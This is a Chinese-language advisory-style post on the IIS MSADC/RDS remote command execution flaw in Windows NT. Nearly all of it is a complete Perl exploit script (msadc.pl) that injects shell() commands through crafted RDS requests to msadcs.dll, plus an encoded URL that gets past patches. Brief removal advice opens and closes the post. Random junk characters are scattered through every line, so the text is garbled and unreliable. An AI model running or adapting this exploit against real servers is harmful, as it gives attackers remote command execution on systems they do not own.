IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
^p7g[E& ~3'}^V\ 涉及程序:
qE:/~Q0 Microsoft NT server
9lU"m_
QT4 lJ>OuSd 描述:
/U@T#S 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
OUM^u* S:F8`Gh 详细:
Aq3.%,X2H 如果你没有时间读详细内容的话,就删除:
YZ\a#s,0 c:\Program Files\Common Files\System\Msadc\msadcs.dll
?mq<#/qb 有关的安全问题就没有了。
ZkA05wPZ# nGoQwKIW 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
/l6r4aO2= e<Bwduy 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
B QxU~s 关于利用ODBC远程漏洞的描述,请参看:
-mfd ngp3 k\/idd[ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm CT2L }5L& P&$ m2^K 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
P70]Ju http://www.microsoft.com/security/bulletins/MS99-025faq.asp $_5a1Lq1 Ew, 1*WK! 这里不再论述。
rb_FBa% ~[*\YN); 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
P;' xa^Y GeydVT- /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Or:a\qQ1 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
z
Go*N,' 31*0b|Z .5AyB9a%& #将下面这段保存为txt文件,然后: "perl -x 文件名"
qZ=%ru Gm1[PAj #!perl
!Zi_4 .(4 #
Pbo759q1 # MSADC/RDS 'usage' (aka exploit) script
_$vAitUe4S #
n97pxD_74 # by rain.forest.puppy
#]vs*Sz #
$C^tZFq # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
>Y>>lE!
k # beta test and find errors!
Ho!dtEs |%HTBF use Socket; use Getopt::Std;
&)Z!A*w] getopts("e:vd:h:XR", \%args);
"j*{7FBqk 3U\| E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
:=cZ,?PQp1 MpCK/eiC if (!defined $args{h} && !defined $args{R}) {
uW{;@ 7N print qq~
CtO;_;eD' Usage: msadc.pl -h <host> { -d <delay> -X -v }
*=
;M',nx -h <host> = host you want to scan (ip or domain)
G[4$@{ -d <seconds> = delay between calls, default 1 second
<n|ayxA) -X = dump Index Server path table, if available
`{v!|.d< -v = verbose
H4Lvw8G -e = external dictionary file for step 5
8p0ZIrD% S#[w).7 Or a -R will resume a command session
E(p*B8d WUfPLY_c( ~; exit;}
ZOIx+%/Vd# s%OPoRE $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
W+5<=jXFB if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
A^3M~ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
l.3|0lopX) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
9o<5Z= $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
H5J1j*P<d if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
=Ul{#R
z S?BI)shmg if (!defined $args{R}){ $ret = &has_msadc;
Yb?L:,a(I die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
BSd\Sg4 )Bo]+\2 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
$AyE6j_1gX . "cmd /c ";
X:kqX[\> $in=<STDIN>; chomp $in;
u+_6V $command="cmd /c " . $in ;
g*-%.fNA !=SBeq if (defined $args{R}) {&load; exit;}
8nKb
mjM q1_iV.G< print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
hwj:$mR &try_btcustmr;
q:a-tdv2 CA[3R print "\nStep 2: Trying to make our own DSN...";
q!!gn1PT(T &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2b89th %}/ |/= print "\nStep 3: Trying known DSNs...";
l1#F1q`^t &known_dsn;
ziXZJ^(FI G W@g print "\nStep 4: Trying known .mdbs...";
4Uzx2
&known_mdb;
Nay&cOz =4_Er{AT if (defined $args{e}){
H$44,8,m print "\nStep 5: Trying dictionary of DSN names...";
jBLLx{ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
e4mAKB
s! EZb_8<DH print "Sorry Charley...maybe next time?\n";
Uw5AHq). exit;
\iQ{Q&JR: <yg!D21Y ##############################################################################
FhJtiw@ <4%cKW0 sub sendraw { # ripped and modded from whisker
"fN=Y$G sleep($delay); # it's a DoS on the server! At least on mine...
`2l
j{N my ($pstr)=@_;
cD JeYduK socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&|Cd1z#? die("Socket problems\n");
,C;%AS/ if(connect(S,pack "SnA4x8",2,80,$target)){
-F~"W@9r select(S); $|=1;
Mo4k6@ht_ print $pstr; my @in=<S>;
>HL$=J_K? select(STDOUT); close(S);
2uT"LW/(H return @in;
'MK"*W8QRM } else { die("Can't connect...\n"); }}
~/l5ys `:#IZ ##############################################################################
Q4e+vBECkq S17 c#6vT sub make_header { # make the HTTP request
e754g(|>b my $msadc=<<EOT
&OXm^f)K POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
DNu-Ce% User-Agent: ACTIVEDATA
:/XWk
% Host: $ip
F\Q X=n Content-Length: $clen
L&LAh&%{2 Connection: Keep-Alive
F|bg2)|du8 Boj#r ,x ADCClientVersion:01.06
F1GFn|OA Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
vlVHoF;& CAbR+y --!ADM!ROX!YOUR!WORLD!
tFvXVfml Content-Type: application/x-varg
Qy7 pM8~h Content-Length: $reqlen
)uRR!<"~ b-?d(- EOT
3{H&{@Q ; $msadc=~s/\n/\r\n/g;
S(#v<C,hd return $msadc;}
sa
w c0f8*O4i ##############################################################################
b"pN; v ]47!Zo, sub make_req { # make the RDS request
5a%i%+;N my ($switch, $p1, $p2)=@_;
mTBSntZx my $req=""; my $t1, $t2, $query, $dsn;
2ut)m\)/) vWVQ8S. if ($switch==1){ # this is the btcustmr.mdb query
&|I{ju_ $query="Select * from Customers where City=" . make_shell();
.kc{)d*0K $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
p|n!R $_g\ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
THy{r_dx <V1y^EW0 elsif ($switch==2){ # this is general make table query
s)~Wcp'+M: $query="create table AZZ (B int, C varchar(10))";
@d_9NOmNT $dsn="$p1";}
63HtZ=hO7 /RemLJP
F elsif ($switch==3){ # this is general exploit table query
-Ic<.ix $query="select * from AZZ where C=" . make_shell();
7;@o]9 W $dsn="$p1";}
hka`STK{ hh8U/dVk* elsif ($switch==4){ # attempt to hork file info from index server
OLE@35"v] $query="select path from scope()";
"Tnmn@ $dsn="Provider=MSIDXS;";}
%@^9(xTE 4vyJ<b
elsif ($switch==5){ # bad query
q854k+C $query="select";
3B5 `Y $dsn="$p1";}
]zh6[0V7V chXTFLC~ $t1= make_unicode($query);
u85?f $t2= make_unicode($dsn);
M5c
*vs $req = "\x02\x00\x03\x00";
=VGRM#+D $req.= "\x08\x00" . pack ("S1", length($t1));
9)J)r\ $req.= "\x00\x00" . $t1 ;
seiE2F[ $req.= "\x08\x00" . pack ("S1", length($t2));
`P jS $req.= "\x00\x00" . $t2 ;
HY,VJxR[ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
UUEbtZH; return $req;}
s)}EMDY >o5eyi ##############################################################################
DAQozhP8 "O<TNSbrC sub make_shell { # this makes the shell() statement
+?^lnoX return "'|shell(\"$command\")|'";}
3Gt@Fo= kk ZMoK ##############################################################################
!yu-MpeG "#]V^Rzxh sub make_unicode { # quick little function to convert to unicode
pykRi#[UrX my ($in)=@_; my $out;
ALt^@|!d for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
&24>9 return $out;}
9&Ny;oy#6 <ELqj2`c ##############################################################################
Oee>d< YzYj/,?r sub rdo_success { # checks for RDO return success (this is kludge)
w"AO~LF my (@in) = @_; my $base=content_start(@in);
X;d 1@G if($in[$base]=~/multipart\/mixed/){
85ND 3F6q4 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
[cT7Iqip
return 0;}
k@Bn}r 7%yP5c
B ##############################################################################
N[wyi&m4 w%eEj.MI|i sub make_dsn { # this makes a DSN for us
VV"1I R my @drives=("c","d","e","f");
2YpJ4. print "\nMaking DSN: ";
`sM^m`yE foreach $drive (@drives) {
L87=*_!B; print "$drive: ";
7-c3^5gn{ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
.1h1J "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
!==C@cH<N . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
U}SN#[* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
g&d
tOjM return 0 if $2 eq "404"; # not found/doesn't exist
9On(b|mT if($2 eq "200") {
^vc#)tm5p foreach $line (@results) {
^A$p)`KR return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
*7K)J8kq } return 0;}
xcC^9BAj ^\FOMGai ##############################################################################
+Ec@qP R& kx07Ium sub verify_exists {
%-3wR@ my ($page)=@_;
Rs53R$PIR my @results=sendraw("GET $page HTTP/1.0\n\n");
PZhpp" return $results[0];}
T4x[
\v5d Pql;5
~/
##############################################################################
Uc5BNk7<= Kr74|W= sub try_btcustmr {
?o_D#gG* my @drives=("c","d","e","f");
?#VkzT my @dirs=("winnt","winnt35","winnt351","win","windows");
)k&!& ="s>lI-1a foreach $dir (@dirs) {
|"k+j_/+ print "$dir -> "; # fun status so you can see progress
6q@VkzF foreach $drive (@drives) {
Tw!_=zy(Gw print "$drive: "; # ditto
sU;aA0kz $reqlen=length( make_req(1,$drive,$dir) ) - 28;
9+co`t. $reqlenlen=length( "$reqlen" );
(zhi/>suG $clen= 206 + $reqlenlen + $reqlen;
kqp*o+Oz', |H4f&&Wd my @results=sendraw(make_header() . make_req(1,$drive,$dir));
VB@M=ShKK if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
P: )YKro] else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
O"f|gc)GLz o|c%uw ##############################################################################
H]&^>Pvh 8aa`0X/6 sub odbc_error {
Un{ 9reX5 my (@in)=@_; my $base;
{{Z3M>Q my $base = content_start(@in);
b[ .pD3 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
qb>mUS $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wQ~F%rQ$ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'{:lP"\,L $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c~{)vL0K return $in[$base+4].$in[$base+5].$in[$base+6];}
p$zj2W+sN print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
m>LC2S;
f print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
^fT?(y_=e $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
<hmRr ^RE("'+ ##############################################################################
F!~o J bs\7 juHt sub verbose {
,|Lf6k my ($in)=@_;
1bpjj'2%x return if !$verbose;
kY]^~|i6 print STDOUT "\n$in\n";}
ewp&QH4 $+p4X# _ ##############################################################################
[Z{0|NR }pL#C sub save {
0ZjinWkR[ my ($p1, $p2, $p3, $p4)=@_;
e$=0.GWT open(OUT, ">rds.save") || print "Problem saving parameters...\n";
H\@@iK= print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
oO~LiK> close OUT;}
J#jx)K! Q:sw*7"F ##############################################################################
3ew`e"s Tq`rc"&7u sub load {
_!?iiO my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(| X? open(IN,"<rds.save") || die("Couldn't open rds.save\n");
g=_@j` @p=<IN>; close(IN);
@G:aW\Z $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8@-
UvT&o $target= inet_aton($ip) || die("inet_aton problems");
^Yu%JCN8g print "Resuming to $ip ...";
KI~M.2pk $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
[SX>b"L if($p[1]==1) {
CJ#1j> $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
*:hHlH* t1 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
6[l{@*r" my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Y> f 6 if (rdo_success(@results)){print "Success!\n";}
Y76U htYH else { print "failed\n"; verbose(odbc_error(@results));}}
92)e/t iP elsif ($p[1]==3){
~Bs=[TNd[ if(run_query("$p[3]")){
C
lekB print "Success!\n";} else { print "failed\n"; }}
Fi_JF; elsif ($p[1]==4){
j1U,X if(run_query($drvst . "$p[3]")){
yp.\KLq8) print "Success!\n"; } else { print "failed\n"; }}
yttIA/ exit;}
`UDB9Ca MH=;[ | N ##############################################################################
^E349c-| 1#-=|:U sub create_table {
'k?*?XxG my ($in)=@_;
^ ;XJG9a0\ $reqlen=length( make_req(2,$in,"") ) - 28;
u?+i5=N9{ $reqlenlen=length( "$reqlen" );
Y6r<+#V $clen= 206 + $reqlenlen + $reqlen;
\OX;ZVb?5 my @results=sendraw(make_header() . make_req(2,$in,""));
F;;\I return 1 if rdo_success(@results);
)S2GPn7 my $temp= odbc_error(@results); verbose($temp);
B+8B<xZ return 1 if $temp=~/Table 'AZZ' already exists/;
jX8,y return 0;}
%
A8dO+W V'jvI ##############################################################################
L5-Kw+t hxQx$ sub known_dsn {
a-<&(jV # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
<W<>=vDzyE my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Bp>Z?"hTe "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
{, `) "banner", "banners", "ads", "ADCDemo", "ADCTest");
MmPLJ Iurb? foreach $dSn (@dsns) {
3}lT"K print ".";
s2rwFj8 | next if (!is_access("DSN=$dSn"));
y-i6StJ if(create_table("DSN=$dSn")){
>^5UXQr print "$dSn successful\n";
EmO{lCENk if(run_query("DSN=$dSn")){
/$NZj"# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
0v/}W( print "Something's borked. Use verbose next time\n";}}} print "\n";}
12JmSvD 7 _*k<W7| ##############################################################################
oYn|>`+6:y 1o*eu&@ sub is_access {
U3UDA my ($in)=@_;
{i09e1 $reqlen=length( make_req(5,$in,"") ) - 28;
Q"+)xj $reqlenlen=length( "$reqlen" );
yRF
%SWO $clen= 206 + $reqlenlen + $reqlen;
-{ M(1vV(= my @results=sendraw(make_header() . make_req(5,$in,""));
_)U[c;^6 my $temp= odbc_error(@results);
Ns}BE H verbose($temp); return 1 if ($temp=~/Microsoft Access/);
$63_*9 return 0;}
NplWF\5y -h?ed'e/zz ##############################################################################
V0ig#?] 7j22KQ|EX^ sub run_query {
8'}D/4MUr my ($in)=@_;
n
9X:s?B/ $reqlen=length( make_req(3,$in,"") ) - 28;
P^Tk4_,0 $reqlenlen=length( "$reqlen" );
b|KlWt' $clen= 206 + $reqlenlen + $reqlen;
V^[B=|56 my @results=sendraw(make_header() . make_req(3,$in,""));
aI'MVKwMk return 1 if rdo_success(@results);
e[
9 my $temp= odbc_error(@results); verbose($temp);
9\J.AAk~/ return 0;}
,K>q{H^ (+w>hCI ##############################################################################
,N`cH\ V9dJNt'Ui sub known_mdb {
A0f98?j^ my @drives=("c","d","e","f","g");
ys~oJb~ my @dirs=("winnt","winnt35","winnt351","win","windows");
CqkY_z my $dir, $drive, $mdb;
{^jk_G\ys my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
nQ5N\RAZ t<DZW# # this is sparse, because I don't know of many
N" =$S|Gs my @sysmdbs=( "\\catroot\\icatalog.mdb",
a58]#L~ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
(G<fvl!~ "\\system32\\certmdb.mdb",
n&N>$c,T27 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
qwomc28O Fk*C8 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
u>y/<9]q8 "\\cfusion\\cfapps\\forums\\forums_.mdb",
s-"oT= "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
j
:$Ruy "\\cfusion\\cfapps\\security\\realm_.mdb",
XK=-$2n "\\cfusion\\cfapps\\security\\data\\realm.mdb",
#x|IEjoa "\\cfusion\\database\\cfexamples.mdb",
u P&< "\\cfusion\\database\\cfsnippets.mdb",
Fd(o8z8Q "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
(S)jV0 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
*<"#1H/q "\\cfusion\\brighttiger\\database\\cleam.mdb",
:5,
k64'D "\\cfusion\\database\\smpolicy.mdb",
P'<D0 "\\cfusion\\database\cypress.mdb",
?Fp2W+M
j "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Y-fDYMm "\\website\\cgi-win\\dbsample.mdb",
nSR<( -j! "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
iR39lOr "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Y0Bd[ ); #these are just
kX8Ey foreach $drive (@drives) {
V|`w/P9g4 foreach $dir (@dirs){
t[=teB v< foreach $mdb (@sysmdbs) {
;cD&qheDV print ".";
tYST&5Kh~ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
`\Ye:$q print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
U0fr\kM if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
9>7w1G# print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
r
t\eze_5A } else { print "Something's borked. Use verbose next time\n"; }}}}}
G'c6%;0) U%u%_{- foreach $drive (@drives) {
h4geoC_W2 foreach $mdb (@mdbs) {
5q 95.rw print ".";
cOrFe;8-. if(create_table($drv . $drive . $dir . $mdb)){
DNmP> ~ print "\n" . $drive . $dir . $mdb . " successful\n";
sMHP=2## if(run_query($drv . $drive . $dir . $mdb)){
/Ps5Og print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
r[W
Ir|r7 } else { print "Something's borked. Use verbose next time\n"; }}}}
PGNH<E) }
w3E#v&"=Y R
Y ";SfYb ##############################################################################
T'${*NVn RM6*c
. sub hork_idx {
aYrbB# print "\nAttempting to dump Index Server tables...\n";
}J m~b9j print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
dSPye z $reqlen=length( make_req(4,"","") ) - 28;
dO!5` ] $reqlenlen=length( "$reqlen" );
gq~6jf> $clen= 206 + $reqlenlen + $reqlen;
* G0I2 my @results=sendraw2(make_header() . make_req(4,"",""));
ka?EXF: if (rdo_success(@results)){
:/~TV my $max=@results; my $c; my %d;
kDWMget$ for($c=19; $c<$max; $c++){
`Ti?hQm/ $results[$c]=~s/\x00//g;
JGG (mrvR $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
3\E G $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
-v & $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
L7OFZ|gUz $d{"$1$2"}="";}
8/BWe
;4 foreach $c (keys %d){ print "$c\n"; }
y\@INA^ } else {print "Index server doesn't seem to be installed.\n"; }}
&E0L 2gbI cu )w6!f ##############################################################################
%Gc)$z/Wd 4ZCD@C sub dsn_dict {
;:Q&Rf"@% open(IN, "<$args{e}") || die("Can't open external dictionary\n");
r31)Ed$ while(<IN>){
u)9YRMl $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Y
wu
> k next if (!is_access("DSN=$dSn"));
)=5,S~IT if(create_table("DSN=$dSn")){
M=#'+CF}W print "$dSn successful\n";
Pt\GVWi_t if(run_query("DSN=$dSn")){
GB8>R print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
|$G|M=*LN print "Something's borked. Use verbose next time\n";}}}
@s7wKk print "\n"; close(IN);}
R@A"U[* 9*;OHoD h ##############################################################################
(Q[(] dfc Mi:i1i
cdn sub sendraw2 { # ripped and modded from whisker
~jDf,a2 sleep($delay); # it's a DoS on the server! At least on mine...
|?<^4U8 my ($pstr)=@_;
.~7:o.BE`n socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%[WOQ.Sh die("Socket problems\n");
>eucQ] if(connect(S,pack "SnA4x8",2,80,$target)){
r O-=):2 print "Connected. Getting data";
{vox
x&UX open(OUT,">raw.out"); my @in;
G^2%F5@ select(S); $|=1; print $pstr;
BI :O?!:9) while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
jSdW?IH close(OUT); select(STDOUT); close(S); return @in;
YES-,;ZQ' } else { die("Can't connect...\n"); }}
I~)A!vp 82KWe= ##############################################################################
O*udV E> (,;4f7\ sub content_start { # this will take in the server headers
9^1li2z k{ my (@in)=@_; my $c;
@BoZZ for ($c=1;$c<500;$c++) {
s4vj if($in[$c] =~/^\x0d\x0a/){
Kdr}7#c if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
z6uHe{| else { return $c+1; }}}
b:(t22m#? return -1;} # it should never get here actually
Wo7`gf_ ( {4YD_$4W ##############################################################################
<8YIQA /amWf^z sub funky {
0s.X my (@in)=@_; my $error=odbc_error(@in);
I/)*pzt8 if($error=~/ADO could not find the specified provider/){
Rgb&EnVW print "\nServer returned an ADO miscofiguration message\nAborting.\n";
I]6,hygs exit;}
4GG0jCNk if($error=~/A Handler is required/){
mu$rG3M print "\nServer has custom handler filters (they most likely are patched)\n";
X6so)1jJ exit;}
N4$ K{ if($error=~/specified Handler has denied Access/){
ZDbzH=[ print "\nServer has custom handler filters (they most likely are patched)\n";
C"R}_C|r)* exit;}}
q]#j,}cN9 3T~DeqAyw ##############################################################################
9=.7[-6i9 =?[:Nj636 sub has_msadc {
Y
lhKP; my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
#Q$e%VJ(c1 my $base=content_start(@results);
46gDoSS return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
[
@9a return 0;}
k|3hs('y| [7h/ 2La# ########################
iiv`ji hr`,s!0Y z
LZHVvL3 解决方案:
Mw|lEctN0 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
FXh*!%"* 2、移除web 目录: /msadc